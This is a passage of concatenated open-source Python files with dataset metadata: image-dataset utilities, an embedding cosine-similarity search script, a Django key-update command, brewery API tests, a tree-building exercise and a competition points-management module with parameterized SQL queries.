ImageLoadersEnumType.PYTORCH_TENSOR]\")\n\n    @classmethod\n    def build_from_list(cls, images: List[Tuple[Union[Path, PILImage, TorchTensor], Union[int, str]]],\n                        unique_labels: List[tuple],\n                        image_labels: List[int],\n                        loader_type: ImageLoadersEnumType,\n                        image_formats: List[str] = IMAGE_STR_TYPES,\n                        transformer: Callable = None) -> \"LabeledImageDataset\":\n\n        dataset = LabeledImageDataset(unique_labels=unique_labels,\n                                      base_path=DUMMY_PATH,\n                                      do_load=False,\n                                      transformer=transformer,\n                                      loader_type=loader_type,\n                                      image_formats=image_formats)\n\n        dataset.images = images\n        dataset.image_labels = image_labels\n        images_per_label = {}\n\n        for img_label in image_labels:\n            for item in unique_labels:\n                if img_label == item[1]:\n                    if item[0] in images_per_label:\n                        images_per_label[item[0]] += 1\n                    else:\n                        images_per_label[item[0]] = 1\n\n        dataset._images_per_label = images_per_label\n        return dataset\n\n    @classmethod\n    def load_from_csv(cls, csv_filename: Path, base_path: Path, path_creator: Callable = None) -> \"LabeledImageDataset\":\n        \"\"\"Load the dataset from the given CSV file. The file should\n        have the following format ('image_filename', image_label_index, 'image_label_name')\n\n        Parameters\n        ----------\n        csv_filename: The CSV file to load the dataset from\n        base_path: The base (i.e. root) path that dataset resides\n        path_creator: Adapt the path formed from the CSV rows\n        Returns\n        -------\n\n        \"\"\"\n\n        images: List[Tuple[Union[Path], Union[int]]] = []\n        image_labels: List[int] = []\n        unique_labels = []\n        image_formats = []\n        with open(csv_filename, 'r', newline='\\n') as csvfile:\n            filereader = csv.reader(csvfile, delimiter=\",\")\n\n            for row in filereader:\n\n                if len(row) != 3:\n                    raise ValueError(f\"Invalid format. File should have 3 columns but has {len(row)}\")\n\n                if path_creator is not None:\n                    img_path = path_creator(row)\n                else:\n                    img_path = Path(str(base_path) + \"/\" + row[2] + \"/\" + row[0])\n                images.append((img_path, int(row[1])))\n                image_labels.append(int(row[1]))\n                format_ = Path(row[0]).suffix\n\n                if format_ not in image_formats:\n                    image_formats.append(format_)\n\n                if (row[2], int(row[1])) not in unique_labels:\n                    unique_labels.append((row[2], int(row[1])))\n\n        dataset = LabeledImageDataset.build_from_list(images=images,\n                                                      image_labels=image_labels,\n                                                      unique_labels=unique_labels,\n                                                      loader_type=ImageLoadersEnumType.FILEPATH,\n                                                      image_formats=image_formats)\n        dataset.base_path = base_path\n        return dataset\n\n    def __init__(self, unique_labels: List[tuple], base_path: Path,\n                 do_load: bool = True, *,\n                 image_formats: List[str] = IMAGE_STR_TYPES,\n                 loader_type: ImageLoadersEnumType = ImageLoadersEnumType.PIL,\n                 transformer: Callable = None):\n        \"\"\"Constructor. Initialize the dataset by providing\n        the unique labels for the images in a form of [(\"label_name\", idx)]\n        and provide the base path to load the images from.\n        The path should arrange the images into directories that each\n        directory has the 'label_name' from the unique_labels.\n        Depending on the loader_type the class will hold images into one of the\n        following three options\n\n        - Path -> loader_type == ImageLoadersEnumType.FILENAME\n        - PILImage -> loader_type == ImageLoadersEnumType.PIL\n        - TorchTensor -> loader_type == ImageLoadersEnumType.PYTORCH_TENSOR\n\n        Parameters\n        ----------\n        unique_labels: The unique labels for the images\n        base_path: The base path to pull images from\n        do_load: Flag indicating if the images should be loaded on construction\n        image_formats: The formats of the images to consider\n        loader_type: What loader to use\n        transformer: Whether any transformation should be applied whilst loading the images\n        \"\"\"\n\n        self.unique_labels: List[Tuple[str, int]] = unique_labels\n        self.base_path = base_path\n        self.image_formats: List[str] = image_formats\n        self.images: List[Tuple[Union[Path, PILImage, TorchTensor], Union[int, str]]] = []\n        self.image_labels: List[int] = []\n        self.loader_type: ImageLoadersEnumType = loader_type\n        self._images_per_label: Dict = {}\n        self._current_pos: int = -1\n\n        if do_load:\n            self.load(loader_type=loader_type, transformer=transformer)\n\n    def __len__(self) -> int:\n        return len(self.images)\n\n    def __iter__(self):\n        self._current_pos = 0\n        return self\n\n    def __next__(self) -> tuple:\n        if len(self.images) == 0:\n            raise StopIteration\n\n        if self._current_pos < len(self.images):\n            result = self.images[self._current_pos]\n            self._current_pos += 1\n            return result\n        else:\n            self._current_pos = -1\n            raise StopIteration\n\n    def __getitem__(self, key: int) -> tuple:\n        \"\"\"Returns the image, label pair  that corresponds to the given key\n        Parameters\n        ----------\n        key: The index of the image-label to retrieve\n        Returns\n        -------\n        A tuple of the image-label\n        \"\"\"\n\n        return self.images[key]\n\n    def __del__(self) -> None:\n        self.clear()\n\n    @property\n    def n_images_per_label(self) -> dict:\n        \"\"\"Get a dictionary with the number of images\n        per label\n\n        Returns\n        -------\n\n        \"\"\"\n        return self._images_per_label\n\n    @property\n    def label_names(self) -> List[str]:\n        \"\"\"Returns the names of the labels\n\n        Returns\n        -------\n\n        A python list with the names of the labels\n        \"\"\"\n        return [label[0] for label in self.unique_labels]\n\n    def get_label_name(self, index: int) -> str:\n        \"\"\"Returns the label name associated with\n        the given label index. If the index is not found\n        raise ValueError\n\n        Parameters\n        ----------\n        index: The label index to look for its label\n\n        Returns\n        -------\n\n        The label name corresponding to this index\n        \"\"\"\n\n        for label in self.unique_labels:\n            if label[1] == index:\n                return label[0]\n        raise ValueError(f\"Index={index} not found in dataset\")\n\n    def get_label_idx(self, label_name: str) -> int:\n        \"\"\"Returns the index that corresponds to the given\n        label name. Returns -1 if the label name is not found\n        in the list of self.unique_labels\n\n        Parameters\n        ----------\n        label_name: The name of the label to look for its index\n\n        Returns\n        -------\n\n        Integer representing the index of the label\n        \"\"\"\n        for label in self.unique_labels:\n            if label[0] == label_name:\n                return label[1]\n\n        return -1\n\n    def clear(self, full_clear: bool = True) -> None:\n        \"\"\"Invalidate the dataset\n\n        Returns\n        -------\n\n        \"\"\"\n\n        if full_clear:\n            self.unique_labels = []\n            self.base_path = DUMMY_PATH\n            self.image_formats = []\n            self._current_pos: int = -1\n\n        self.loader_type = ImageLoadersEnumType.INVALID\n        self.images = []\n        self.image_labels = []\n        self._images_per_label = {}\n\n    def shuffle(self) -> None:\n        \"\"\"Randomly shuffle  the contents of the dataset\n\n        Returns\n        -------\n\n        \"\"\"\n        random.shuffle(self.images)\n\n    def get_class_images(self, class_name: str) -> List[Tuple[Union[Path, PILImage, TorchTensor], Union[int, str]]]:\n        \"\"\"Get the images corresponding to the class name.\n        It raises ValueError if the class_name is not in the dataset\n\n        Parameters\n        ----------\n        class_name: The class name to get the images from\n\n        Returns\n        -------\n\n        Instance of: List[Tuple[Union[Path, PILImage, TorchTensor], Union[int, str]]]\n        \"\"\"\n        if class_name not in self._images_per_label:\n            raise ValueError(f\"Class name {class_name} not in dataset\")\n\n        class_idx = self.get_label_idx(class_name)\n        return [item for item in self.images if item[1] == class_idx]\n\n    def random_selection(self, size: int) -> List[int]:\n        \"\"\"Returns a list of indices of the given size\n        randomly selected\n\n        Parameters\n        ----------\n        size: The size of the random sample\n\n        Returns\n        -------\n\n        Instance of List[int]\n        \"\"\"\n\n        if size >= len(self.images):\n            raise ValueError(f\"Invalid size parameter. size should be in [0,{len(self.images)}) but is {size}\")\n\n        indices = [i for i in range(len(self.images))]\n        return random.sample(indices, size)\n\n    def random_selection_for_class(self, size: int, class_name: str) -> List[Tuple[Union[Path, PILImage, TorchTensor], Union[int, str]]]:\n        \"\"\"Returns a random selection of images corresponding to the given\n        class name. Raises ValueError if the class_name is not in the dataset.\n        Raises ValueError if the given size is greater than or equal to the number\n        of images in the dataset that correspond to the given dataset.\n\n        Parameters\n        ----------\n        size: The size of the random sample to return\n        class_name: The class name to get the images from\n\n        Returns\n        -------\n\n        Instance of: List[Tuple[Union[Path, PILImage, TorchTensor], Union[int, str]]]\n        \"\"\"\n\n        if class_name not in self._images_per_label:\n            raise ValueError(f\"Class name {class_name} not in dataset\")\n\n        n_images_for_class = self._images_per_label[class_name]\n\n        if size >= n_images_for_class:\n            raise ValueError(f\"Invalid size parameter. size should be in [0,{n_images_for_class}) but is {size}\")\n\n        # get the images for the class\n        class_images = self.get_class_images(class_name)\n        return random.sample(class_images, size)\n\n    def remove_images(self, images: List[Tuple[Union[Path, PILImage], Union[int, str]]]) -> None:\n        \"\"\"Remove the images specified in the list\n\n        Parameters\n        ----------\n        images: The images to remove\n\n        Returns\n        -------\n        \"\"\"\n\n        for img in images:\n\n            image = img[0]\n            if isinstance(image, Path):\n                self.images.remove(img)\n                label = img[1]\n                label_name = self.get_label_name(label)\n                self._images_per_label[label_name] -= 1\n            elif isinstance(image, PILImage):\n                self.images.remove(img)\n                label = img[1]\n                label_name = self.get_label_name(label)\n                self._images_per_label[label_name] -= 1\n            else:\n                raise ValueError(\"Cannot remove image. Image should be either Path or PIL.Image\")\n\n\n    def apply_transform(self, transformer: Callable) -> None:\n        \"\"\"Apply the given transformation on all images\n        in the dataset. This eventually will transform all the\n        images.\n\n        Parameters\n        ----------\n        transformer: Callable to apply on the images\n\n        Returns\n        -------\n\n        \"\"\"\n        self.images = [(transformer(img[0]), img[1]) for img in self.images]\n\n    def add_to_class(self, images: List[Tuple[Union[Path, PILImage, TorchTensor], Union[int, str]]],\n                     class_name: str):\n\n        \"\"\"Append the given images to the class. Raises ValueError\n        if the class_name is not in the unique_labels\n\n        Parameters\n        ----------\n        images: Images to append\n        class_name: The class name to append the images\n\n        Returns\n        -------\n\n        \"\"\"\n\n        if len(images) == 0:\n            return\n\n        class_item = self.get_label_idx(label_name=class_name)\n        if class_item == -1:\n            raise ValueError(f\"Label {class_name} not in dataset\")\n\n        self.images.extend(images)\n        self.image_labels.extend([class_item]*len(images))\n        self._images_per_label[class_name] += len(images)\n\n    def load(self, loader_type: ImageLoadersEnumType = ImageLoadersEnumType.PIL,\n             transformer: Callable = None, force_load: bool = False) -> None:\n\n        if not self.__can_load() and not force_load:\n            raise ValueError(\"Dataset is not empty. Have you called clear()?\")\n        elif not self.__can_load() and force_load:\n            self.clear(full_clear=False)\n\n        if str(self.base_path) == str(DUMMY_PATH):\n            raise ValueError(f\"Cannot load dataset from DUMMY_PATH={str(DUMMY_PATH)}. Specify a correct data path.\")\n\n        self.loader_type = loader_type\n        tmp_img_formats = []\n\n        for label in self.unique_labels:\n\n            label_name = label[0]\n            label_idx = label[1]\n            base_path = Path(str(self.base_path)) / label_name\n\n            # get all the image files\n            img_files: List[Path] = get_img_files(base_path=base_path,\n                                                  img_formats=self.image_formats)\n\n            label_images = []\n            labels = []\n            # load every image in the Path\n            for img in img_files:\n\n                suffix = img.suffix\n\n                if suffix.lower() not in tmp_img_formats:\n                    tmp_img_formats.append(suffix.lower())\n\n                label_images.append((load_img(path=img,\n                                              transformer=transformer,\n                                              loader=loader_type), label_idx))\n                labels.append(label_idx)\n\n            self._images_per_label[label_name] = len(label_images)\n            self.images.extend(label_images)\n            self.image_labels.extend(labels)\n            self.image_formats = tmp_img_formats\n\n    def save_to_csv(self, filename: Path) -> None:\n        \"\"\"Save the given dataset in a CSV format.\n        Currently, only a dataset that has\n        loader_type == ImageLoadersEnumType.FILENAME\n\n        Parameters\n        ----------\n        filename: The file to save the dataset\n\n        Returns\n        -------\n        \"\"\"\n\n        if self.loader_type != ImageLoadersEnumType.FILEPATH:\n            raise ValueError(f\"Cannot save a dataset loaded with {self.loader_type.name}. \"\n                             f\"Load dataset using {ImageLoadersEnumType.FILEPATH.name}. \")\n\n        with open(filename, 'w', newline='\\n') as csvfile:\n            filewriter = csv.writer(csvfile, delimiter=\",\")\n\n            for img, label in zip(self.images, self.image_labels):\n                label_name = self.get_label_name(label)\n                image = str(img[0]).split(\"/\")[-1]\n                row = [image, label, label_name]\n\n                filewriter.writerow(row)\n\n    def __can_load(self) -> bool:\n        \"\"\"Checks if the right conditions are met to laod\n        a dataset\n\n        Returns\n        -------\n        A flag indicating if the right conditions are met to load\n        \"\"\"\n\n        if len(self.images) != 0:\n            return False\n\n        if len(self.image_labels) != 0:\n            return False\n\n        return True\n","repo_name":"Navalmartin/navalmartin_mir_vision_utils","sub_path":"src/navalmartin_mir_vision_utils/mir_vision_io/labeled_image_dataset.py","file_name":"labeled_image_dataset.py","file_ext":"py","file_size_in_byte":19918,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"25956192666","text":"#!/usr/bin/env python\n\nimport json,requests,argparse\nimport os,sys,argparse,time\nimport numpy as np\nimport pdb\nimport heapq\n\n\nt0 = time.time()\n\napikey=os.environ.get('SPECTER_API_KEY')\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--dir\", help=\"a directory such as $proposed or $specter\", required=True)\nparser.add_argument(\"-V\", '--verbose', action='store_true')\nparser.add_argument(\"--use_references\", help=\"never|always|when_necessary\", default=\"never\")\nparser.add_argument(\"-G\", \"--graph\", help=\"file (without .X.i and .Y.i)\", default=None)\nparser.add_argument(\"-K\", \"--K\", help=\"The K closest papers in cosine similarity to our desired paper\", default=10)\nargs = parser.parse_args()\n\ndef map_int64(fn):\n    fn_len = os.path.getsize(fn)\n    return np.memmap(fn, dtype=np.int64, shape=(int(fn_len/8)), mode='r')\n\ndef map_int32(fn):\n    fn_len = os.path.getsize(fn)\n    return np.memmap(fn, dtype=np.int32, shape=(int(fn_len/4)), mode='r')\n\nY = idx = None\n\nif not args.graph is None:\n    Y = map_int32(args.graph + '.Y.i')\n\n    if not os.path.exists(args.graph + '.X.i.idx'):\n        print('%0.0f sec: computing idx' % (time.time() - t0), file=sys.stderr)\n        sys.stderr.flush()\n        X = map_int32(args.graph + '.X.i')\n        res = np.cumsum(np.bincount(X))\n        res.tofile(args.graph + '.X.i.idx')\n        print('%0.0f sec: idx computed' % (time.time() - t0), file=sys.stderr)\n        sys.stderr.flush()\n\n    idx = map_int64(args.graph + '.X.i.idx')\n\ndef extract_row(x):\n    # print('extract_row: ' + str(x))\n    if x >= len(idx) or x < 0:\n        return []\n    if x == 0:\n        return Y[:idx[0]]\n    else:\n        return Y[idx[x-1]:idx[x]]\n\ndef record_size_from_dir(dir):\n    with open(dir + '/record_size', 'r') as fd:\n        return int(fd.read().split('\\t')[0])\n\ndef map_from_dir(dir):\n    fn = dir + '/map.old_to_new.i'\n    fn_len = os.path.getsize(fn)\n    return np.memmap(fn, dtype=np.int32, shape=(int(fn_len/4)), mode='r')\n\ndef imap_to_dir(dir):\n    fn = dir + '/map.new_to_old.i'\n    fn_len = os.path.getsize(fn)\n    return np.memmap(fn, dtype=np.int32, shape=(int(fn_len/4)), mode='r')\n\n\ndef embedding_from_dir(dir, K):\n    fn = dir + '/embedding.f'\n    fn_len = os.path.getsize(fn)\n    return np.memmap(fn, dtype=np.float32, shape=(int(fn_len/(4*K)), K), mode='r')\n\ndef directory_to_config(dir):\n    K = record_size_from_dir(dir)\n    return { 'record_size' : K,\n             'dir' : dir,\n             'map' : map_from_dir(dir),\n             'imap': imap_to_dir(dir),\n             'embedding' : embedding_from_dir(dir, K)}\n\nt0 = time.time()\nconfig = directory_to_config(args.dir)\nprint('config: ', config['map'])\nprint('config contents: ', config['map'][0])\ndef get_corpusId(ref):\n    try:\n        return ref['externalIds']['CorpusId']\n    except:\n        return None\n\ndef id_to_references(my_id):\n    if not args.graph is None:\n        return extract_row(int(my_id))\n    cmd = 'https://api.semanticscholar.org/graph/v1/paper/CorpusId:' + str(my_id) + '/?fields=references,references.externalIds'\n    j = requests.get(cmd, headers={\"x-api-key\": apikey}).json()\n    if 'references' in j and not j['references'] is None:\n        return [ get_corpusId(ref) for ref in j['references']]\n    else:\n        return []\n\nmaxid = config['map'].shape[0]\nmy_map = config['map'].reshape(-1)\nemb = config['embedding']\n\n\ndef centroid(refs):\n    mapped_refs = np.array([ my_map[ref] for ref in refs if not ref is None and ref < maxid ], dtype=int)\n    mapped_refs = mapped_refs[mapped_refs > 0]\n    vectors = emb[mapped_refs,:]\n    if args.verbose:\n        print('centroid: vectors.shape = ' + str(vectors.shape), file=sys.stderr)\n    if len(vectors) > 0:\n        return np.mean(vectors, axis=0)\n    else:\n        return np.zeros(emb.shape[1], dtype=int)\n\ndef id_to_centroid(id):\n    return centroid(id_to_references(id))\n\nids = np.array([int(i) for i in sys.stdin.read().split('\\n') if len(i) > 0], dtype=int)\nif args.verbose:\n    print('ids.shape = ' + str(ids.shape), file=sys.stderr)\nif args.use_references == 'never' or args.use_references == 'when_necessary':\n    mapped_ids = np.zeros(len(ids), dtype=int)\n    for e,i in enumerate(ids):\n        if i < maxid:\n            mapped_ids[e] = my_map[i]\n    result = emb[mapped_ids,:]\n    result[mapped_ids == 0,:] = 0\nelif args.use_references == 'always':\n    result = np.array([id_to_centroid(id) for id in ids])\nelse:\n    assert False, 'bad arg: use_references = ' + str(args.use_references)\n\nif args.verbose:\n    print('result.shape: ' + str(result.shape), file=sys.stderr)\n\n\n# instead of saving this output, we want to find the highest K cosine similarities\ndef cosine_similarity_vector_matrix(vector, matrix):\n    dot_product = np.dot(matrix, vector)\n    norm_vector = np.linalg.norm(vector)\n    norm_matrix = np.linalg.norm(matrix, axis=1)\n    denominator = norm_vector * norm_matrix\n    denominator[denominator == 0] = 1  \n    similarity = dot_product / denominator\n\n    return similarity\n\ncosines = cosine_similarity_vector_matrix(np.array(result).reshape(-1), emb)\nprint(\"Found cosines in %0.2f seconds.\" % (time.time() - t0))\n# then we find the K largest cosine values\n\ndef find_k_largest_with_indices(array, K):\n    max_heap = []\n    for i, num in enumerate(array):\n        if len(max_heap) < K:\n            heapq.heappush(max_heap, (num, i))\n        else:\n            if num > max_heap[0][0]:\n                heapq.heappop(max_heap)\n                heapq.heappush(max_heap, (num, i))\n    result_indices = []\n    result_values = []\n    while max_heap:\n        num, i = heapq.heappop(max_heap)\n        result_indices.append(i)\n        result_values.append(num)\n    result_indices.reverse()  \n    result_values.reverse()\n    return result_values, result_indices\n\nresult_values, result_indices = find_k_largest_with_indices(cosines, args.K)\nprint(\"Found %0.2f closest values in %0.2f seconds.\" % (args.K, time.time() - t0))\nprint(\"Sorted result_values:\", result_values) \nprint(\"Sorted result_indices:\", result_indices)\nprint(\"IDs: \", [config['imap'][index] for index in result_indices])\n","repo_name":"kwchurch/JSALT_Better_Together","sub_path":"src/brute_force_cosines.py","file_name":"brute_force_cosines.py","file_ext":"py","file_size_in_byte":6066,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"40679512230","text":"import os\r\nimport json\r\n\r\nfrom django.core.management.base import BaseCommand, CommandError\r\nfrom django.utils import timezone\r\nfrom rest_framework import serializers\r\nfrom storage.models import ObjectsService, Bucket\r\nfrom users.models import UserProfile\r\nfrom bill.models import PayApp\r\n\r\n\r\nclass Command(BaseCommand):\r\n    help = \"\"\"\r\n        manage.py update_app_public_key --filename=\"/home/pub.key\" --app-id=\"xxx\"\r\n    \"\"\"\r\n\r\n    def add_arguments(self, parser):\r\n        parser.add_argument(\r\n            '--filename', default=None, dest='filename', type=str,\r\n            help='The file that import buckets from.',\r\n        )\r\n        parser.add_argument(\r\n            '--app-id', default=None, dest='app_id', type=str,\r\n            help='The app id.',\r\n        )\r\n\r\n    def handle(self, *args, **options):\r\n        filename = options.get('filename')\r\n        if not filename:\r\n            filename = '/home/pub.key'\r\n            self.stdout.write(self.style.WARNING(f'Not set filename, Try import key from file: {filename}'))\r\n        else:\r\n            self.stdout.write(self.style.WARNING(f'Import key from file: {filename}'))\r\n\r\n        if not os.path.exists(filename):\r\n            self.stdout.write(self.style.ERROR(\r\n                f'File \"{filename}\" is not exists, Try param \"--filename\" to set filename'))\r\n            return\r\n\r\n        app_id = options.get('app_id')\r\n        if not app_id:\r\n            self.stdout.write(self.style.ERROR('Not set app_id id, Use param \"--app-id\" to set.'))\r\n            raise CommandError(\"cancelled.\")\r\n\r\n        app = PayApp.objects.filter(id=app_id).first()\r\n        if app is None:\r\n            self.stdout.write(self.style.ERROR(f'APP is not exists, invalid app-id \"{app_id}\".'))\r\n            raise CommandError(\"cancelled.\")\r\n\r\n        self.stdout.write(self.style.WARNING(f'Will import to APP: {app.name}.'))\r\n\r\n        if input('Are you sure you want to do this?\\n\\n' + \"Type 'yes' to continue, or 'no' to cancel: \") != 'yes':\r\n            raise CommandError(\"cancelled.\")\r\n\r\n        self.update_buckets(filename=filename, app=app)\r\n\r\n    def update_buckets(self, filename: str, app: PayApp):\r\n        with open(filename, 'r') as f:\r\n            key = f.read()\r\n            print(f'old key: \\n{app.rsa_public_key}')\r\n            print(f'new key: \\n{key}')\r\n            app.rsa_public_key = key\r\n            app.save(update_fields=['rsa_public_key'])\r\n\r\n        self.stdout.write(self.style.SUCCESS(f'Successfully update app: {app.name}.'))\r\n","repo_name":"GOSC-CNIC/vms","sub_path":"api/management/commands/update_app_public_key.py","file_name":"update_app_public_key.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"26132438862","text":"import pytest\nimport requests as requests\n\nfrom lesson_4.data_for_open_brewery_db import LIST_OF_BREWERIES\n\n\nclass TestOpenBreweryDbOrg:\n\n    @pytest.mark.parametrize('page_count', [0, 10, 20, 51])\n    def test_breweries_per_page(self, page_count):\n        url = f'https://api.openbrewerydb.org/breweries?per_page={page_count}'\n        response = requests.get(url)\n\n        self.check_status_code(response, 200)\n\n        number_of_breweries = len(response.json())\n\n        assert number_of_breweries == page_count, \"Количество пивоварен не соответствует ожидаемому \\n\" \\\n                                                  f\"Ожидалось {page_count}\\n\" \\\n                                                  f\"Вернулось {number_of_breweries}\"\n\n    def check_status_code(self, response, status_code: int):\n        assert response.status_code == status_code, f\"Ожидался {status_code}, а вернулся {requests.status_codes}\"\n\n    def test_list_breweries(self):\n        url = 'https://api.openbrewerydb.org/breweries'\n        response = requests.get(url)\n\n        self.check_status_code(response, 200)\n        assert response.json() == LIST_OF_BREWERIES, \"Данные в ответе не соответствуют ожидаемым \\n\" \\\n                                                     f\"Ожидалось {LIST_OF_BREWERIES}\\n\" \\\n                                                     f\"Вернулось {response.json()}\"\n\n    @pytest.mark.parametrize('city', ['fayetteville', 'chardon', 'boring'])\n    def test_breweries_by_city(self, city):\n        url = f'https://api.openbrewerydb.org/breweries?by_city={city}&per_page=3'\n        response = requests.get(url)\n\n        self.check_status_code(response, 200)\n\n        for brewery in response.json():\n            assert city.lower() == brewery.get('city').lower(), \"Вернулись пивоварни для неверного города\"\n\n    @pytest.mark.parametrize('state', ['ohio', 'massachusetts'])\n    def test_breweries_by_state(self, state):\n        url = f'https://api.openbrewerydb.org/breweries?by_state={state}&per_page=3'\n        response = requests.get(url)\n\n        self.check_status_code(response, 200)\n\n        for brewery in response.json():\n            assert state.lower() == brewery.get('state').lower(), \"Вернулись пивоварни для неверного штата\"\n\n    def test_breweries_by_type(self):\n        type = 'bar'\n        url = f'https://api.openbrewerydb.org/breweries?by_type={type}&per_page=3'\n        response = requests.get(url)\n\n        self.check_status_code(response, 200)\n        for brewery in response.json():\n            assert type.lower() == brewery.get('brewery_type').lower(), \"Вернулись пивоварни неверного типа\"\n","repo_name":"LikaProsk/homework_coding","sub_path":"tests/lesson_4/test_open_brewery_db.py","file_name":"test_open_brewery_db.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7554647793","text":"def buildTre(preorder, inorder):\n  if not preorder or not inorder:\n    return None\n\n  # First value of list is always the root\n  root = TreeNode(preorder[0])\n  mid = inorder.index(preorder[0])\n\n  # Create sublists for left and right subtrees\n\n  # Index of 1 - mid, up to but not including mid\n  root.left = buildTree(preorder[1: mid + 1], inorder[:mid])\n  # Index of mid - end\n  root.right = buildTree(preorder[mid + 1:], inorder[mid + 1:])\n\n# preorder = [3, 9, 20, 15, 7]\n# inorder = [9, 3, 15, 20, 7]\n\n# root = 3\n# mid = 1\n# root.left = preorder -> [9] / inorder -> [9]\n# root.right = preorder -> [20, 15, 7] / inorder -> [15, 20, 7]\n# output = [3]\n\n# root = 9\n# mid = 0\n# root.left = preorder -> None / inorder -> None\n# root.right = preorder -> None / inorder -> None\n# output = [3, 9]\n\n# root = 20\n# mid = 1\n# root.left = preorder -> [15] / inorder -> [15]\n# root.right = preorder -> [7] / inorder -> [7]\n# output = [3, 9, 20]\n\n# root = 15\n# mid = 0\n# root.left = preorder -> None / inorder -> None\n# root.right = preorder -> None / inorder -> None\n# output = [3, 9, 20, null, null, 15, 7]","repo_name":"nickyjhong/dsa","sub_path":"leetcode/medium/105-buildTree.py","file_name":"105-buildTree.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"22568950129","text":"## Inlead - Points Management Functions\n##\n## Josh Ramos (josh-ramos-22)\n## January 2023\n##\n\nfrom src import sec\nfrom src.db import database\nfrom src.error import InputError, AccessError\nimport datetime\nimport psycopg2\n\n@sec.authorise\ndef log(auth_user_id, comp_id, points):\n    with database.get_conn() as conn:\n        with conn.cursor() as cur:\n            qry = \"\"\"\n                SELECT c.end_time, cp.is_moderator, c.max_points_per_log, c.is_points_moderated\n                FROM   Competitions c\n                JOIN   CompetitionParticipants cp on (c.id = cp.competition)\n                WHERE  cp.player = %s\n                AND    c.id = %s\n                ;\n            \"\"\"\n            \n            qry_params = [auth_user_id, comp_id]\n            \n            cur.execute(qry, qry_params)\n            \n            res = cur.fetchone()\n            \n            if res is None:\n                raise InputError(\"We could not verify your membership in this competition\")\n            \n            endtime, is_moderator, max_points_per_log, is_points_moderated = res\n            \n            if endtime:\n                raise InputError(\"This competition has already ended\")\n            elif points > max_points_per_log:\n                raise InputError(f\"Cannot log more than {max_points_per_log} points at a time\")\n            \n            request_id = -1\n            print(is_points_moderated, is_moderator)\n            if is_points_moderated and not is_moderator:\n                qry2 = \"\"\"\n                    INSERT INTO PointsRequests(player, competition, points)\n                    VALUES (%s, %s, %s)\n                    RETURNING id\n                    ;\n                \"\"\"\n                qry2_params = [auth_user_id, comp_id, points]\n                \n                cur.execute(qry2, qry2_params)\n                \n                request_id = cur.fetchone()[0]\n            \n            else:\n                qry2 = \"\"\"\n                    UPDATE CompetitionParticipants\n                    SET    score = score + %s\n                    WHERE  player = %s\n                    AND    competition = %s\n                    ;\n                \"\"\"\n                qry2_params = [points, auth_user_id, comp_id]\n                \n                cur.execute(qry2, qry2_params)\n                \n            conn.commit()\n            \n            return {\n                'request_id' : request_id\n            }\n\n\n\"\"\"\nReturn a list of pending points requests for a given competition\n\nParameters\n- auth_user_id - id of user making the request\n- comp_id - the competition id\n\nExceptions\n- InputError - when the competition is invalid\n- AccessError - when the user is not a moderator of the competition\n\nReturns\n- list of requests, which is of the shape (request_id, u_id, username, points)\n\"\"\"\n@sec.authorise\ndef request_list(auth_user_id, comp_id):\n    with database.get_conn() as conn:\n        with conn.cursor() as cur:\n            # verify that the auth user is a mod\n            qry = \"\"\"\n                SELECT is_moderator \n                FROM   CompetitionParticipants \n                WHERE  player = %s\n                AND    competition = %s\n                ;\n            \"\"\"\n            cur.execute(qry, (auth_user_id, comp_id))\n            \n            res = cur.fetchone()\n            if not res:\n                raise InputError(\"We could not verify that you are a member of this competition\")\n            elif not res[0]:\n                raise AccessError(\"You are not a moderator of this competition\")\n            \n            qry2 = \"\"\"\n                SELECT pr.id, p.id, p.username, pr.points\n                FROM   PointsRequests pr\n                JOIN   Players p on (pr.player = p.id)\n                WHERE  pr.competition = %s\n                ;\n            \"\"\"\n            cur.execute(qry2, (comp_id,))\n            \n            return {\n                \"requests\" : [\n                    {\n                        \"request_id\" : request_id,\n                        \"u_id\"     : user_id,\n                        \"username\" : username,\n                        \"points\"   : points\n                    } for request_id, user_id, username, points in cur.fetchall()\n                ]\n            }\n\n\n'''\nProcess a request id, checking if the user is authorised to approve or reject it\nand returning the corresponding user_id, comp_id, and point value\n'''\ndef process_request_id(auth_user_id, request_id):\n    with database.get_conn() as conn:\n        with conn.cursor() as cur:\n            qry = \"\"\"\n                SELECT player, competition, points\n                FROM   PointsRequests\n                WHERE  id = %s\n            \"\"\"\n\n            cur.execute(qry, (request_id,))\n            res = cur.fetchone()\n            if res is None:\n                raise InputError(\"Invalid Points Request\")\n            u_id, comp_id, points = res\n            \n            # verify that the auth user is a mod\n            qry2 = \"\"\"\n                SELECT is_moderator \n                FROM   CompetitionParticipants \n                WHERE  player = %s\n                AND    competition = %s\n            \"\"\"\n            cur.execute(qry2, (auth_user_id, comp_id))\n            \n            res = cur.fetchone()\n            if not res or not res[0]:\n                raise AccessError(\"You are not a moderator of this competition\")\n            \n            return u_id, comp_id, points\n\n'''\nDelete a points request with the given request id\n'''\ndef delete_request(request_id):\n    with database.get_conn() as conn:\n        with conn.cursor() as cur:\n            cur.execute(\"\"\"\n                DELETE FROM PointsRequests\n                WHERE       id = %s\n            \"\"\", (request_id,))\n            \n            conn.commit()\n\n\n'''\nApprove an existing points request, adding the points to the corresponding leaderboard\nand deleting the request\n\nParameters\n- auth_user_id\n- request_id - The id of the request\n\n'''\n@sec.authorise\ndef approve(auth_user_id, request_id):\n    res = process_request_id(auth_user_id, request_id)\n    u_id, comp_id, points = res\n    \n    with database.get_conn() as conn:\n        with conn.cursor() as cur:\n            qry = \"\"\"\n                UPDATE CompetitionParticipants\n                SET    score = score + %s\n                WHERE  player = %s\n                AND    competition = %s\n                ;\n            \"\"\"\n            qry_params = (points, u_id, comp_id)\n            \n            cur.execute(qry, qry_params)\n            \n            conn.commit()\n\n    delete_request(request_id)\n    \n    return {}\n'''\nReject an existing points request, deleting the request\n\nParameters\n- auth_user_id\n- request_id - The id of the request\n\nReturns None\n\n'''\n@sec.authorise\ndef reject(auth_user_id, request_id):\n    process_request_id(auth_user_id, request_id)\n    delete_request(request_id)\n    \n    return {}\n\n'''\nOverride a player's 